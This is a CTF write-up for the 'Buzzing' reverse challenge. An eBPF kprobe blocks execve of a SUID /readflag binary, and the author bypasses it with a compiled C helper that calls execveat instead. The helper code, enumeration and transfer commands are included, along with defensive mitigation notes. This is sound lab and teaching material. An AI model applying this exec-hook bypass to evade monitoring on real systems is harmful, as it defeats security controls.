Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
ReverseMedium

Buzzing

CTF writeup for Buzzing Reverse from Wannagame

//Buzzing — Writeup

>Challenge Summary

  • Category: Reverse / Exploitation (SUID + eBPF protections)

  • Goal: Obtain the flag by reading /flag via the provided SUID binary /readflag.

  • Access: Instance accessible via SSH using a per-session private key from the web spawner.

Flag: W1{just_4_s1mpl3_3bpf_l04d3r_buzz1n'_4r0und_fufu_76274bc788378a36b3345a49948045e9}


>TL;DR (One-liner)

/You can’t execute /readflag directly because the challenge loads an eBPF kprobe which intercepts the execve system call. Use execveat(AT_FDCWD, "/readflag", ...) instead, because execveat is not hooked/filtered by the eBPF guards. Running this from a small helper binary yields the flag./


>Steps I Took (Detailed)

  1. Connect to the instance using the spawner-provided SSH key:
bash

# port and key come from the spawner instance

ssh -i id_ed25519 bocchi@spawner.zaki.moe -p <PORT>
  1. Basic enumeration—they often contain SUID binaries and small sandbox tricks:
bash

# Check file and permission status

ls -la /

ls -la /readflag

file /readflag

stat -c '%A %a %U %G %f' /readflag

I found that /readflag is SUID root:

-rwsr-xr-x 1 root root 14456 Dec  6 05:35 /readflag
  1. Trying to run /readflag directly yields permission error or prevented by the environment:
bash

$ /readflag

bash: /readflag: Permission denied
  1. Check loader and container setup at / to discover any extra components:
bash

# Check out root files

cat /Dockerfile

cat /entrypoint.sh

cat /compose.yml

# Found: loader and locker.bpf.o
  1. Download and inspect loader and locker.bpf.o (for example via scp from local):
bash

scp -P 1337 -i id_ed25519 bocchi@spawner.zaki.moe:/loader .

scp -P 1337 -i id_ed25519 bocchi@spawner.zaki.moe:/locker.bpf.o .

scp -P 1337 -i id_ed25519 bocchi@spawner.zaki.moe:/readflag .

file ./loader ./locker.bpf.o ./readflag

strings ./loader | head -n 80

llvm-readelf -S locker.bpf.o

llvm-objdump -d locker.bpf.o
  1. loader appears to use libbpf to bpf_object__open_file("locker.bpf.o") then load it. locker.bpf.o contained a kprobe on __x64_sys_execve.
# Observed symbol: kprobe/__x64_sys_execve # This indicates that the BPF object hooks execve syscall.
  1. The BPF interception prevented the normal execve syscall used by /readflag or attempted by our shell, so directly calling /readflag would be rejected. Copying /readflag to /tmp removes setuid privileges but still didn't let the file run. Running the loader or invoking the dynamic loader returned an error such as flag file not found.

  2. Key discovery: eBPF hooked __x64_sys_execve (the classic syscall that userland execve uses). The eBPF program did not hook execveat, so using execveat bypassed the eBPF filter. (Difference: execveat is a newer syscall that can start an exec using a file descriptor or a pathname; the kprobe specifically targeted execve syscall entry.)

  3. Build a tiny helper to call execveat with AT_FDCWD (the working directory file descriptor), pointing at /readflag so the kernel effectively executes the SUID program but using the execveat path—unblocked by the BPF program.

c

// execveat_runner.c

#define _GNU_SOURCE

#include <unistd.h>

#include <fcntl.h>

#include <stdio.h>

  

int main(void) {

    char *argv[] = { "readflag", NULL };

    char *envp[] = { NULL };

    if (execveat(AT_FDCWD, "/readflag", argv, envp, 0) == -1) {

        perror("execveat");

        return 1;

    }

    return 0;

}
  1. Compile statically and upload to the challenge container (statical linking ensures dependencies are present):
bash

# On local: compile statically (if `musl` / `static` is required, use appropriate toolchain)

gcc -static -O2 execveat_runner.c -o execveat_runner

# Upload:

scp -P 10123 -i 'id_ed25519 (1)' execveat_runner bocchi@spawner.zaki.moe:/home/bocchi/

# Make executable and run

ssh -i 'id_ed25519 (1)' -p 10123 bocchi@spawner.zaki.moe "chmod +x execveat_runner && ./execveat_runner"
  1. Running the compiled helper produced the flag text (printed by the SUID binary):
W1{just_4_s1mpl3_3bpf_l04d3r_buzz1n'_4r0und_fufu_76274bc788378a36b3345a49948045e9}

>Why This Works (Technical Explanation)

  • loader / locker.bpf.o uses libbpf to insert a kprobe on the kernel function for the execve syscall. The BPF program likely checks the pathname and denies attempts to run the protected SUID binary.

  • The execve syscall is the classic syscall used by execve(2) and many userland exec functions. execveat(2) is a separate syscall; BPF hooked for execve does not necessarily monitor execveat. Therefore, execveat's invocation bypasses the BPF filter.

  • Because /readflag is setuid root and accepts no path argument required by the binary (the binary uses open("/flag") internally), executing /readflag as root will cause the SUID binary to open /flag and print it if it is allowed.

  • The execveat call creates a new process from /readflag (becomes effective SUID root if the setuid bit is there) and thus runs the SUID binary as root which then reads /flag and prints the secret.


>Artifacts / Commands Reused

  • Inspect setuid and file metadata:
bash

ls -la /readflag

stat -c '%A %a %U %G' /readflag

file /readflag

strings readflag
  • Inspect loader and BPF object:
bash

strings loader | less

llvm-readelf -S locker.bpf.o

llvm-objdump -d locker.bpf.o | grep kprobe

llvm-objdump -d locker.bpf.o | grep a4    # look for XOR constants
  • Create and use execveat helper locally, then scp to the instance.

>Detection & Mitigation Notes / Defensive Advice

  • eBPF programs that rely on syscall kprobes are very specific—the kernel has many related syscalls. If your security policy intends to catch all exec-like calls, ensure you hook both execve and execveat (and any others relevant to your kernel version). Consider using the LSM/BPF programs or seccomp to restrict execs more broadly.

  • Logging and auditing should show attempted blocked execve hooks, and surprises like a process calling execveat should be visible via auditing.

  • For deploy safety: avoid relying only on an eBPF kprobe on a single syscall for privileged program protections; instead run containers with minimal privileges, avoid setuid where possible, or combine with strong kernel LSM policies.


>Final Thoughts & Gotchas

  • The instance intentionally supports offline compilation and scp for static payload binaries. If a container didn’t support local compile or scp, a static compiled binary must be provided from a machine with a matching architecture.

  • execveat is just one bypass—others include ptrace or other kernel interfaces if not guarded. The countermeasure is to avoid setuid programs or to use appropriate kernel protections that can’t be trivially circumvented.